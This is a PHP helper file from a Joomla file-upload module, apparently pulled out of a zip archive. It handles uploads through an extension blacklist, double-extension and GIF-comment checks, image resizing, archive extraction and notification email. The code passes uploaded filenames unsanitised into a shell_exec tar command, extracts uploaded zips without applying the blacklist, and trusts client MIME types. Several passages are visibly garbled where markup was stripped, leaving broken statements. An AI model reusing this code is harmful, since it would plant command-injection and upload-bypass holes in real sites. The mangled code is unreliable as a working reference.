AAAAPKQB\#o,, index.htmlnuW+APKQB\a[XJ99 helper.phpnuW+Aget( 'upload_maxsize', '100000' ); $upload_filetypes = $params->get( 'upload_filetypes', '' ); $upload_fileexist = $params->get( 'upload_fileexist', '' ); $upload_email = $params->get( 'upload_email', '' ); $upload_emailmsg = $params->get( 'upload_emailmsg', '0' ); $upload_emailhtml = $params->get( 'upload_emailhtml', '1' ); $upload_unzip = $params->get( 'upload_unzip', '0' ); $upload_showerrmsg = $params->get( 'upload_showerrmsg', '1' ); $upload_showdircontent = $params->get( 'upload_showdircontent', '0' ); $upload_popshowpath = $params->get( 'upload_popshowpath', '1' ); $upload_popshowbytes = $params->get( 'upload_popshowbytes', '0' ); $upload_blacklist = $params->get( 'upload_blacklist', '.php .php3 .php4 .php5 .php6 .phtml .pl .py .jsp .asp .htm .shtml .sh .cgi .exe .bat .cmd .htaccess' ); $upload_doubleext = $params->get( 'upload_doubleext', '1' ); $upload_phpext = $params->get( 'upload_phpext', '1' ); $upload_gifcomment = $params->get( 'upload_gifcomment', '1' ); $upload_mailfrom = $params->get( 'upload_mailfrom' , 'noreply@simplefileupload.com' ); $upload_maximgwidth = $params->get( 'upload_maximgwidth', '0' ); $upload_maximgheight = $params->get( 'upload_maximgheight', '0' ); $upload_compressimg = $params->get( 'upload_compressimg', '' ); $upload_disablegdlib = $params->get( 'upload_disablegdlib', '0' ); $upload_disablegdthreshold = $params->get( 'upload_diablegdthreshold', '0' ); $upload_thumbcreate = $params->get( 'upload_thumbcreate', '0' ); $upload_thumbsize = $params->get( 'upload_thumbsize', '40x40' ); $upload_thumbname = $params->get( 'upload_thumbname', 'sfuthumb' ); $upload_debug = $params->get( 'upload_debug', '0' ); $upload_formfields = $params->get( 'upload_formfields', '' ); $upload_useformsfields = $params->get( 'upload_useformsfields', '0' ); if ($upload_useformsfields == 0) $upload_formfields = ""; $upload_formfieldsfile = $params->get( 'upload_formfieldsfile', '' ); $upload_formfieldsdiv = $params->get( 'upload_formfieldsdiv', '|' ); $upload_nohtmlencoding = $params->get( 'upload_nohtmlencoding', '0' ); $upload_replacetag = $params->get( 'upload_replacetag', '0' ); $results = ""; $fileCnt = 0; $fileErr = 0; $written = 0; $filename = ""; $fileList = ""; $fileInfo = ""; $filetypeok = true; $filetype = ""; $blacklist = explode(" ", $upload_blacklist); $formfieldsval = array(); $formfieldsemail = array(); $chkfileexist = ""; $baseurl = ""; $serverurl = ""; $protocol = ""; $protocol = "http://"; if (substr($_SERVER["HTTP_REFERER"], 0, 5) === "https") $protocol = "https://"; $folder = substr($_SERVER['SCRIPT_NAME'], 0, strrpos($_SERVER['SCRIPT_NAME'], "/")); if ($folder === "//") $folder = ""; // Check if relative path if (substr($upload_location, 0, 1) === ".") { $serverurl .= str_replace(".", $protocol.$_SERVER["HTTP_HOST"].$folder, $upload_location); // Fix Windows path... $baseurl .= str_replace("\\", "", $serverurl); } else { if ((substr($upload_location, 1, 2) === ":\\") || (substr($upload_location, 0, 1) === "/")) { // Server root path $baseurl = "file://".str_replace("\\", "/", $upload_location); } else { $serverurl = str_replace("\\", "/", $_SERVER["DOCUMENT_ROOT"]); $baseurl = str_replace("\\", "/", $upload_location); $baseurl = str_replace($serverurl, "", $baseurl); //$baseurl = dirname($_SERVER["HTTP_REFERER"])."/".$baseurl; $baseurl = $protocol.$_SERVER["HTTP_HOST"].$folder."/".$baseurl; } } //Replace space with %20 for URL $baseurl = str_replace(" ", "%20", $baseurl); // Make sure it ends with front slash if ( substr( $baseurl , strlen($baseurl) - 1) !== "/" ) { $baseurl .= "/"; } if(is_array($_FILES["uploadedfile$mid"]["name"])) { foreach($_FILES["uploadedfile$mid"]["name"] as $value) { /* Not really useful since I need type and size as well... just use $_FILES if(strlen($value) > 0) { //Check that we have a filename $filenames[] = $value; }*/ $fileCnt += 1; } } for ($cnt = 0; $cnt<$fileCnt; $cnt++) { if ((strlen($_FILES["uploadedfile$mid"]["name"][$cnt]) > 0) && ($upload_users === "true")) { // Check blacklist first foreach ($blacklist as $file) { $filename = $_FILES["uploadedfile$mid"]["name"][$cnt]; if (preg_match("/$file\$/i", $filename)) { $filetypeok = false; break; } } // Check double extension if ($upload_doubleext === "1" || $upload_phpext === "1") { $exts = explode('.', $filename); // There is more than one dot! if (count($exts) > 2) { // Any double extension blocked if ($upload_doubleext === "1") $filetypeok = false; if ($upload_phpext === "1") { // Block .php. if (strtolower($exts[count($exts)-2]) === "php") $filetypeok = false; } } else { // Check and block any .php combination if (stripos($filename, ".php") !== false) $filetypeok = false; } } if ($_FILES["uploadedfile$mid"]["error"][$cnt] > 0) { // Check if there was any error $filetypeok = false; } if ($filetypeok) { $fileList .= $_FILES["uploadedfile$mid"]["name"][$cnt] . "|"; $filetype = $_FILES["uploadedfile$mid"]["type"][$cnt]; $fileInfo .= "(" . JText::_('TYPE') . ": " . $filetype . " " . JText::_('SIZE') . ": " . $_FILES["uploadedfile$mid"]["size"][$cnt] . " " . JText::_('BYTES') . ")|"; if ($filetype === "") $filetype = "false"; if (stripos($upload_filetypes, $filetype) === false) { $filetypeok = false; } else { $filetypeok = true; } if ($upload_filetypes === "*") { $filetypeok = true; } //Check if GIF and block GIF Comment if ($upload_gifcomment === "1" && (preg_match("/.gif\$/i", $_FILES["uploadedfile$mid"]["name"][$cnt]))) { $comment = ModSimpleFileUploaderHelperv13::getGIFComment($_FILES["uploadedfile$mid"]["tmp_name"][$cnt], $upload_debug); if(stripos($comment, "getGIFComment:BLOCK") !== false) { $filetypeok = false; } if ($upload_debug == 1) $results .= $comment; } } if (($filetypeok) && ($_FILES["uploadedfile$mid"]["size"][$cnt] < $upload_maxsize)) { $errmsg = ""; $new_filename = ""; if ($_FILES["uploadedfile$mid"]["error"][$cnt] > 0) { if (($_FILES["uploadedfile$mid"]["size"][$cnt] == 0) && ($_FILES["uploadedfile$mid"]["error"][$cnt] == 2)) { $errmsg = "(".$_FILES["uploadedfile$mid"]["name"][$cnt].")".JText::sprintf('ERROR_TOO_BIG', "
[PHP Error: " . $_FILES["uploadedfile$mid"]["error"][$cnt]) . "]
"; } else { $errmsg = "(".$_FILES["uploadedfile$mid"]["name"][$cnt].")".JText::sprintf('ERROR_LABEL', $_FILES["uploadedfile$mid"]["error"][$cnt]) . "
"; } if ($upload_showerrmsg == 1) $results .= $errmsg; else $results .= JText::_('UPLOAD_FAILED'); $fileErr = 1; } else { $bytesfilesize = $_FILES["uploadedfile$mid"]["size"][$cnt]; // Check to see if GD lib functions should be skipped if ($upload_disablegdthreshold > 0) { if ($bytesfilesize >= $upload_disablegdthreshold) $upload_disablegdlib = 1; } $filesize = ModSimpleFileUploaderHelperv13::getFileSizePP($bytesfilesize); if (($upload_popshowbytes == 1) && ($bytesfilesize != $filesize)) $filesize = $filesize . " (" . $bytesfilesize . " " . JText::_('BYTES') . ")"; //$results .= "" . JText::_('FILE_OK_MSG') . "

"; $results .= "".JText::sprintf('FILE_UPLOAD_LABEL', $_FILES["uploadedfile$mid"]["name"][$cnt]) . "
"; $results .= JText::sprintf('FILE_TYPE_LABEL', $_FILES["uploadedfile$mid"]["type"][$cnt]) . "
"; $results .= JText::sprintf('FILE_SIZE_LABEL', $filesize) . "
"; #$results .= "uploaded to: " . $_FILES["uploadedfile$mid"]["tmp_name"][$cnt] . "
"; if (file_exists($upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt])) { if ( $upload_fileexist === "0" ) { // FAIL $results .= "
" . JText::sprintf('FILE_EXISTS_MSG', $_FILES["uploadedfile$mid"]["name"][$cnt]) . "

" . JText::_('FILE_EXISTS_CORR'); $fileErr = 1; } /* // Don't delete until new file has been created! if ( $upload_fileexist === "1" ) { // REPLACE unlink($upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt]); $results .= JText::_('FILE_EXISTS_REPLACE') . "
"; $chkfileexist = "no"; }*/ if ( $upload_fileexist === "2" || $upload_fileexist === "1" ) { // BACKUP $new_filename = $_FILES["uploadedfile$mid"]["name"][$cnt] . microtime(); rename($upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $upload_location . $new_filename); if ($upload_fileexist === "1") $results .= JText::_('FILE_EXISTS_REPLACE') . "
"; else $results .= JText::sprintf('FILE_EXISTS_BACKUP', $new_filename) . "
"; $new_filename = $upload_location . $new_filename; $chkfileexist = "no"; } } else { $chkfileexist = "no"; } if ( $chkfileexist === "no" ) { // Resize and/or compress? $image_resize = false; $img_compressimg = 0; $img_maximgheight = 0; $img_maximgwidth = 0; // Check size of images before moving if (ModSimpleFileUploaderHelperv13::gd_get_info() && $upload_disablegdlib == 0) { if (($img = @getimagesize($_FILES["uploadedfile$mid"]["tmp_name"][$cnt])) && (((is_numeric($upload_maximgwidth) && $upload_maximgwidth > 0) || (is_numeric($upload_maximgheight) && $upload_maximgheight > 0)) || ($upload_thumbcreate == 1))) { list($width, $height, $type, $attr) = getimagesize($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]); // Make sure we have a valid compression ratio if (!is_numeric($upload_compressimg) || $upload_compressimg > 100 || $upload_compressimg <= 0) $img_compressimg = 100; else $img_compressimg = $upload_compressimg; if ($upload_maximgheight == 0) $img_maximgheight = $height; else $img_maximgheight = $upload_maximgheight; if ($upload_maximgwidth == 0) $img_maximgwidth = $width; else $img_maximgwidth = $upload_maximgwidth; $ratioh = $img_maximgheight/$height; $ratiow = $img_maximgwidth/$width; $ratio = min($ratioh, $ratiow); // New dimensions $n_width = intval($ratio*$width); $n_height = intval($ratio*$height); $errmsg = ""; switch ($type) { case 1: //'image/gif' if (imagetypes() & IMG_GIF) { // not the same as IMAGETYPE $oim = imageCreateFromGIF($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]) ; } else { $errmsg = "GIF ".JText::_('IMG_TYPE_FAIL')."
"; } break; case 2: //'image/jpeg' if (imagetypes() & IMG_JPG) { $oim = imageCreateFromJPEG($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]) ; } else { $errmsg = "JPEG ".JText::_('IMG_TYPE_FAIL')."
"; } break; case 3: //'image/png' if (imagetypes() & IMG_PNG) { $oim = imageCreateFromPNG($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]) ; $img_compressimg = round($img_compressimg / 10); // Quality is 0-9 for PNG if ($img_compressimg >= 10) $img_compressimg = 9; // If user has set quality to 100 } else { $errmsg = "PNG ".JText::_('IMG_TYPE_FAIL')."
"; } break; case 15: //'image/wbmp' if (imagetypes() & IMG_WBMP) { $oim = imageCreateFromWBMP($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]) ; } else { $errmsg = "WBMP ".JText::_('IMG_TYPE_FAIL')."
"; } break; default: $errmsg = $type." ".JText::_('IMG_TYPE_FAIL')."
"; break; } if ($errmsg === "") { // If thumbnail $thumbfilename = ""; if ($upload_thumbcreate == 1) { $img_thumbsize = strtolower($upload_thumbsize); $img_thumbsize = explode("x", $img_thumbsize); if (is_array($img_thumbsize)) { if (count($img_thumbsize) == 2) { if (is_numeric($img_thumbsize[0]) && is_numeric($img_thumbsize[1])) { $ttim=imagecreatetruecolor($img_thumbsize[0],$img_thumbsize[1]); imagecopyresampled($ttim,$oim,0,0,0,0,$img_thumbsize[0],$img_thumbsize[1],$width,$height); $ext = substr(strrchr($_FILES["uploadedfile$mid"]["name"][$cnt], '.'), 1); $thumbfilename .= substr($_FILES["uploadedfile$mid"]["name"][$cnt], 0, (strlen($_FILES["uploadedfile$mid"]["name"][$cnt])-(strlen($ext) +1))) . "_" . $upload_thumbname . "." . $ext; // Make thumb as a link $results .= JText::_('IMG_THUMB_FILE') . ' '.$thumbfilename.'
'; //$results .= JText::_('IMG THUMB FILE') . " " . $thumbfilename . "
"; // Add path to thumb filename $thumbfilename = $upload_location . $thumbfilename; } } } } // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) { $tim=imagecreatetruecolor($n_width,$n_height); imagecopyresampled($tim,$oim,0,0,0,0,$n_width,$n_height,$width,$height); } switch ($type) { case 1: // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) imageGIF($tim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt]); if ($thumbfilename !== "") imageGIF($ttim, $thumbfilename); $image_resize = true; break; case 2: // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) imageJPEG($tim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $img_compressimg); if ($thumbfilename !== "") imageJPEG($ttim, $thumbfilename); $img_compressimg = ""; $image_resize = true; break; case 3: // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) imagePNG($tim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $img_compressimg); if ($thumbfilename !== "") imagePNG($ttim, $thumbfilename); $img_compressimg = ""; $image_resize = true; break; case 15: // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) imageWBMP($tim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt]); if ($thumbfilename !== "") imageWBMP($ttim, $thumbfilename); break; $image_resize = true; default: $image_resize = false; break; } // Only thumbnail, no resize if ($upload_maximgheight !== 0 && $upload_maximgwidth !== 0) { imagedestroy($tim); if ($image_resize) $results .= JText::_('IMG_ORIG_RESIZE')."
"; else $results .= JText::_('IMG_RESIZE_FAIL')."
"; } else { $image_resize = false; } imagedestroy($oim); if ($thumbfilename !== "") imagedestroy($ttim); } else { $fileErr = 1; $results .= JText::_('FAIL_REQUEST') . "
"; $_SESSION["failedfile"] .= $_FILES["uploadedfile$mid"]["name"][$cnt]." (".JText::_('IMG_SAVE_FAIL').", ".$errmsg.")
"; } } if (($img = @getimagesize($_FILES["uploadedfile$mid"]["tmp_name"][$cnt])) && (!$image_resize) && ($upload_compressimg !== "") && is_numeric($upload_compressimg)) { // Compress JPEG? This only happens if no resize! list($width, $height, $type, $attr) = getimagesize($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]); // Make sure we have a valid compression ratio if ($upload_compressimg > 100 || $upload_compressimg <= 0) $img_compressimg = 100; if (($type == 2) && (is_numeric($img_compressimg)) && ($fileErr == 0)) { $oim = imagecreatefromjpeg($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]); if (imagejpeg($oim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $img_compressimg)) { $fileErr = 0; $image_resize = true; } else { $fileErr = 1; $results .= JText::_('FAIL_REQUEST') . "
"; $_SESSION["failedfile"] .= $_FILES["uploadedfile$mid"]["name"][$cnt]." (".JText::_('IMG_COMPRESS_FAIL').")
"; } imagedestroy($oim); } // Compress PNG? This only happens if no resize! if (($type == 3) && (is_numeric($upload_compressimg)) && ($fileErr == 0)) { $oim = imagecreatefrompng($_FILES["uploadedfile$mid"]["tmp_name"][$cnt]); $img_compressimg = round($upload_compressimg / 100); // Quality is 0-9 for PNG if ($img_compressimg >= 10) $img_compressimg = 9; // If user has set quality to 100 if (imagepng($oim, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt], $img_compressimg)) { $fileErr = 0; $image_resize = true; } else { $fileErr = 1; $results .= JText::_('FAIL_REQUEST') . "
"; $_SESSION["failedfile"] .= $_FILES["uploadedfile$mid"]["name"][$cnt]." (".JText::_('IMG_COMPRESS_FAIL').")
"; } imagedestroy($oim); } if ($image_resize) $results .= JText::_('IMG_ORIG_COMPRESS')."
"; else $results .= JText::_('IMG_COMPRESS_FAIL')."
"; } } // If image has been resized it is already saved if (!$image_resize) { if (move_uploaded_file($_FILES["uploadedfile$mid"]["tmp_name"][$cnt], $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt])) { $fileErr = 0; } else { $fileErr = 1; $results .= JText::_('FAIL_REQUEST') . "
"; $_FILES["uploadedfile$mid"]["name"][$cnt] = ""; } } // Form Fields if (($upload_useformsfields == 1) && (strlen($upload_formfields) > 0) && ($fileErr == 0)) { $fields = explode(";", $upload_formfields); $valname = ""; $valfile = ""; $ffform = ""; $fffield = ""; $formfieldsemail[$cnt] = ""; if ($upload_nohtmlencoding == 1) $ffform = trim ( $_REQUEST["sfuFormFields$mid"] ); else $ffform = htmlentities ( trim ( $_REQUEST["sfuFormFields$mid"] ) , ENT_NOQUOTES , "utf-8" ); if ($upload_debug == 1) print_r($_REQUEST); if ($upload_replacetag == 1) $ffform = str_replace(">", ">", str_replace("<", "<", $ffform)); if ($upload_debug == 1) $results .= "ffform=$ffform
"; $ffform = explode("[||]", $ffform); // If create a row in the form fileds file... if (strlen($upload_formfieldsfile) > 0) $valfile = $_FILES["uploadedfile$mid"]["name"][$cnt].$upload_formfieldsdiv; for ($iff = 0; $iff < count($ffform); $iff++) { $valname = $ffform[$iff]; $fffield = explode("=", $valname); foreach ($fields as $fld) { $valname = "sfuff".$mid."_".$fld."_".$_FILES["uploadedfile$mid"]["name"][$cnt]; if ($valname === $fffield[0]) { if (strlen($upload_formfieldsfile) > 0) $valfile .= $fffield[1].$upload_formfieldsdiv; else $valfile .= $fld."=".$fffield[1]."\n"; // Store for e-mail, use same counter as file $formfieldsemail[$cnt] .= $fld."=".$fffield[1]."\n"; } } if ($upload_debug == 1) $results .= "valname=$valname
"; } if (strlen($upload_formfieldsfile) > 0) { // Remove last pipe $valfile = substr($valfile, 0, -1); // Check if we got something if ($valfile === $_FILES["uploadedfile$mid"]["name"][$cnt]) $valfile = ""; } if ($upload_debug == 1) $results .= "valfile=$valfile
"; if ((strlen($valfile) > 0) && (strlen($upload_formfieldsfile) == 0)) { // Write the file: $ffFile = $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt] . ".txt"; if ($upload_debug == 1) $results .= "ffFile=$ffFile
"; $fh = fopen($ffFile, 'w') or $fileErr = 1; if ($fileErr == 1) { $results .= JText::_('FAIL_FORMFIELDS_FILE') . "
"; } else { // For some mysterious reason PHP refuses to write UTF-8 as UTF-8. Some stupid work-around below found at php.net $valfile = mb_convert_encoding( $valfile, 'UTF-8'); fwrite($fh, $valfile); fclose($fh); } } // Store for Form Fields File, use same counter as file $formfieldsval[$cnt] = $valfile; } if (($upload_popshowpath == 1) && ($fileErr == 0)) { $results .= JText::sprintf('FILE_SAVE_AS', ''.$baseurl.$_FILES["uploadedfile$mid"]["name"][$cnt].'').'

'; } if ($upload_fileexist === "1" && file_exists($new_filename)) { if ($fileErr == 0) { // Delete (=replace) of old file unlink($new_filename); } else { // Put original back if something went wrong rename($new_filename, $upload_location . $_FILES["uploadedfile$mid"]["name"][$cnt]); } } //$results .= "
"; } } // UNZIP if (($upload_unzip == 1) && ($fileErr == 0)) { if (($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/x-tar") || ($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/x-tar-compressed") || ($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/tar-compressed")) { //system("tar -zxvf ".$upload_location.$_FILES["uploadedfile$mid"]["name"]); $res = shell_exec("cd ".$upload_location.";tar -xvzf ".$_FILES["uploadedfile$mid"]["name"][$cnt].";"); if ($res === FALSE) { $results .= "

".JText::_('MSG_UNZIP_ERROR')."

"; } else { $results .= "

".JText::_('MSG_UNZIP')."

"; } } if (($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/x-zip") || ($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/x-zip-compressed") || ($_FILES["uploadedfile$mid"]["type"][$cnt] === "application/zip-compressed")) { $zip = new ZipArchive; $res = $zip->open($upload_location.$_FILES["uploadedfile$mid"]["name"][$cnt]); if ($res === TRUE) { $zip->extractTo($upload_location); $zip->close(); $results .= "

".JText::_('MSG_UNZIP')."

"; } else { $results .= "

".JText::_('MSG_UNZIP_ERROR')."

"; } } } $_SESSION["uploaderr$mid"] = $fileErr; } else { $fileErr = 1; $errmsg = "(".$_FILES["uploadedfile$mid"]["name"][$cnt].")
".JText::sprintf('FILE_IN_ERROR', $filetype)."
  [".ModSimpleFileUploaderHelperv13::errCodeToMessage($_FILES["uploadedfile$mid"]["error"][$cnt])."]

"; $_SESSION["uploaderr$mid"] = 1; if ($upload_showerrmsg == 1) $results .= $errmsg; else $results .= JText::_('UPLOAD_FAILED')."

"; if ($written == 0) { $filesize = ModSimpleFileUploaderHelperv13::getFileSizePP($upload_maxsize); $results .= JText::_('ALLOWED_TYPES') . ": " . $upload_filetypes . "
" . JText::_('FILE_MAX_SIZE') . ": " . $filesize . "

"; //$results .= "
"; $written = 1; } } } else { if ($upload_users === "false") { $_SESSION["uploaderr$mid"] = 1; $results .= JText::_('NOT_ALLOWED_USER'); } } } // end for // Create Form Fields file if ((count($formfieldsval) > 0) && (strlen($upload_formfieldsfile) > 0)) { // Write the file but read first if the same file exists from previous set: $valfile = ""; $ffFile = $upload_location . $upload_formfieldsfile; if (file_exists($ffFile)) { //RegExp can't handle pipe, make it escaped // !! Not needed for explode(), only deprecated split() !! //$upload_formfieldsdiv2 = $upload_formfieldsdiv; //if ($upload_formfieldsdiv === "|") $upload_formfieldsdiv2 = "\|"; $fileRows = explode("\n", file_get_contents($ffFile)); for ($cnt = 0; $cnt"; if (strpos($rowdata, $upload_formfieldsdiv) >= 0) { $rowArray = explode($upload_formfieldsdiv, $rowdata); if (strlen($rowArray[0]) > 0) { $found = false; for ($cnt2 = 0; $cnt2"; //echo "replace: [".str_replace($ffArray[0], "", $rowArray[0])."]
"; // Equal on string seems not reliable. Maybe encoding issues but replace does the trick it seems. //if ($ffArray[0] === $rowArray[0]) { if (strlen(str_replace($ffArray[0], "", $rowArray[0])) == 0) { //echo "inside!
"; $valfile .= $formfieldsval[$cnt2]."\n"; $formfieldsval[$cnt2] = ""; $found = true; break; } } if (!$found) $valfile .= $rowdata."\n"; } } } } $fh = fopen($ffFile, 'w') or $fileErr = 1; if ($fileErr == 1) { $results .= JText::_('FAIL_FORMFIELDS_FILE') . "
"; } else { for ($cnt = 0; $cnt 0) $valfile .= $formfieldsval[$cnt]."\n"; } // Don't make the file UTF-8 here as it totally messes up the reading of the file! // For some mysterious reason PHP refuses to write UTF-8 as UTF-8. Some stupid work-around below found at php.net //$valfile = chr(255).chr(254).mb_convert_encoding( $valfile, 'UTF-16LE', 'UTF-8'); //echo "valfile=$valfile
"; fwrite($fh, $valfile); fclose($fh); } } // SHOW DIR CONTENT if (($upload_showdircontent == 1) && ($fileErr == 0)) { $results .= "
"; if($bib = @opendir($upload_location)) { while (false !== ($lfile = readdir($bib))) { //if($lfile != "." && $lfile != ".." && !ereg("^\..+", $lfile) && $lfile != "index.html") { if($lfile !== "." && $lfile !== ".." && !preg_match("/^\..+/", $lfile) && $lfile !== "index.html") { $fil_list[] = "$lfile"; } } closedir($bib); if(is_array($fil_list)) { $liste = "
  • " . join("
  • ", $fil_list) . "
  • "; } else { $liste = "
  • " . JText::_('NO_FILES_FOUND') . " " . $upload_location . "
  • "; } $results .= "

    " . JText::_('FILES_IN_DIR') . " (" . $upload_location . "):

      " . $liste . "
    "; } else { //die("Could not read files in " . $upload_location); $results .= "

    " . JText::_('NO_FILES_FOUND') . "


    "; } $results .= "

    "; } // SEND E-MAIL if ((strlen($upload_email) > 0) && ($fileErr == 0)) { $to = $upload_email; $subject = JText::_('MAIL_SUBJECT'); $infos = explode("|", $fileInfo); $text = ""; $headers = ""; //Replace space with %20 for URL if ($upload_emailhtml == 0) { for ($cnt = 0; $cnt<$fileCnt; $cnt++) { if(strlen($_FILES["uploadedfile$mid"]["name"][$cnt]) > 0) $text .= $upload_location.$_FILES["uploadedfile$mid"]["name"][$cnt]." (".$baseurl.str_replace(" ", "%20", $_FILES["uploadedfile$mid"]["name"][$cnt]).")\r\n"; if (count($formfieldsemail) >= $cnt+1) { if (strlen($formfieldsemail[$cnt]) > 0) $text .= $formfieldsemail[$cnt] . "\r\n\r\n"; } } $body = JText::sprintf('MAIL_BODY', $_SERVER["HTTP_HOST"]); $body .= "\r\n\r\n".$text; $body .= "\r\n\r\n(Find out more about Simple File Upload for Joomla at http://wasen.net/)"; } else { $text = "

    "; for ($cnt = 0; $cnt<$fileCnt; $cnt++) { if(strlen($_FILES["uploadedfile$mid"]["name"][$cnt]) > 0) $text .= ""; if (count($formfieldsemail) >= $cnt+1) { if (strlen($formfieldsemail[$cnt]) > 0) { $fields = explode("\n", $formfieldsemail[$cnt]); foreach ($fields as $f) $text .= ""; } } } $text .= "
    ".$upload_location.$_FILES["uploadedfile$mid"]["name"][$cnt]." (".$baseurl.str_replace(" ", "%20", $_FILES["uploadedfile$mid"]["name"][$cnt]).")".$infos[$cnt]."
    " . $f . "

    "; $body = JText::sprintf('MAIL_BODY', $_SERVER["HTTP_HOST"]); if (strlen($users_name) < 5) $users_name = "Anonymous (@".$_SERVER['REMOTE_ADDR'].")"; $body .= " ".JText::sprintf('BY_USER', $users_name); $body .= $text; $body .= "

    (Find out more about Simple File Upload for Joomla at http://wasen.net/)"; // To send HTML mail, the Content-type header must be set $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; // Additional headers //$headers .= 'To: ' . $to . "\r\n"; $headers .= 'From: ' . $upload_mailfrom . "\r\n"; } if (mail($to, $subject, $body, $headers)) { if ($upload_emailmsg == 1) $results .= "

    ".JText::_('MSG_SENT')."

    "; } else { if ($upload_emailmsg == 1) $results .= "

    ".JText::_('MSG_FAILED')."(To:".$to.")

    "; } } return $results; } function gd_get_info() { if (extension_loaded('gd') and imagetypes() & IMG_PNG and imagetypes() & IMG_GIF and imagetypes() & IMG_JPG and imagetypes() & IMG_WBMP) { return true; } else { return false; } } function getFileSizePP($filesize) { $kb=1024; $mb=1048576; $gb=1073741824; $tb=1099511627776; if(!$filesize) $filesize = '0 B'; elseif($filesize<$kb) $filesize = $filesize.' B'; elseif($filesize<$mb) $filesize = round($filesize/$kb, 2).' KB'; elseif($filesize<$gb) $filesize = round($filesize/$mb, 2).' MB'; elseif($filesize<$tb) $filesize = round($filesize/$gb, 2).' GB'; else $filesize = round($filesize/$tb, 2).' TB'; return $filesize; } function errCodeToMessage($code) { $message = ""; switch ($code) { case UPLOAD_ERR_INI_SIZE: $message = JText::_('UPLOAD_ERR_INI_SIZE'); //"The uploaded file exceeds the upload_max_filesize directive in php.ini"; break; case UPLOAD_ERR_FORM_SIZE: $message = JText::_('UPLOAD_ERR_FORM_SIZE'); //"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"; break; case UPLOAD_ERR_PARTIAL: $message = JText::_('UPLOAD_ERR_PARTIAL'); //"The uploaded file was only partially uploaded"; break; case UPLOAD_ERR_NO_FILE: $message = JText::_('UPLOAD_ERR_NO_FILE'); //"No file was uploaded"; break; case UPLOAD_ERR_NO_TMP_DIR: $message = JText::_('UPLOAD_ERR_NO_TMP_DIR'); //"Missing a temporary folder"; break; case UPLOAD_ERR_CANT_WRITE: $message = JText::_('UPLOAD_ERR_CANT_WRITE'); //"Failed to write file to disk"; break; case UPLOAD_ERR_EXTENSION: $message = JText::_('UPLOAD_ERR_EXTENSION'); //"File upload stopped by extension"; break; default: $message = JText::_('UPLOAD_ERR_DEFAULT'); //"Unknown upload error"; break; } return $message; } function getGIFComment($filename, $upload_debug) { $retval = ""; $fd = fopen( $filename, 'rb' ); if ( $fd ) { if ($upload_debug == 1) $retval .= "
    getGIFComment: File opened!"; // Read GIF header $data = fread( $fd, 6 ); if ( $data == 'GIF87a' or $data == 'GIF89a' ) { if ($upload_debug == 1) $retval .= "
    getGIFComment: We've found a GIF"; $offset = 6; // Read Logical Screen Descriptor $data = fread( $fd, 7 ); $offset += 7; $width = ( ord( $data[1] ) << 8 ) + ord( $data[0] ); $height = ( ord( $data[3] ) << 8 ) + ord( $data[2] ); if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF width: ".$width; if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF height: ".$height; $done = false; while ( !$done ) { $data = fread( $fd, 1 ); $offset += 1; $blockType = ord( $data[0] ); if ( $blockType == 0x21 ) // Extension Introducer { $data .= fread( $fd, 1 ); $offset += 1; $extensionLabel = ord( $data[1] ); if ( $extensionLabel == 0xfe ) // Comment Extension { $commentBlockDone = false; $comment = false; while ( !$commentBlockDone ) { $data = fread( $fd, 1 ); $offset += 1; $blockBytes = ord( $data[0] ); if ( $blockBytes ) { $data = fread( $fd, $blockBytes ); $comment .= $data; $offset += $blockBytes; } else { $commentBlockDone = true; } } if ( $comment ) { if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF has comment: ".$comment; if(stripos($comment, "php") !== false) { $retval = "getGIFComment:BLOCK".$retval; } else { $retval = "getGIFComment:OK".$retval; } } else { if ($upload_debug == 1) $retval .= "
    getGIFComment: No GIF comment found!"; $retval = "getGIFComment:OK".$retval; } $done = true; } } else if ( $blockType == 0x3b ) // Trailer, end of stream { if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF stream terminated by Trailer block"; $done = true; } if ( feof( $fd ) ) { if ($upload_debug == 1) $retval .= "
    getGIFComment: GIF stream terminated by EOF"; $done = true; } } } } else { if ($upload_debug == 1) $retval .= "
    getGIFComment: File failed!"; } return $retval."
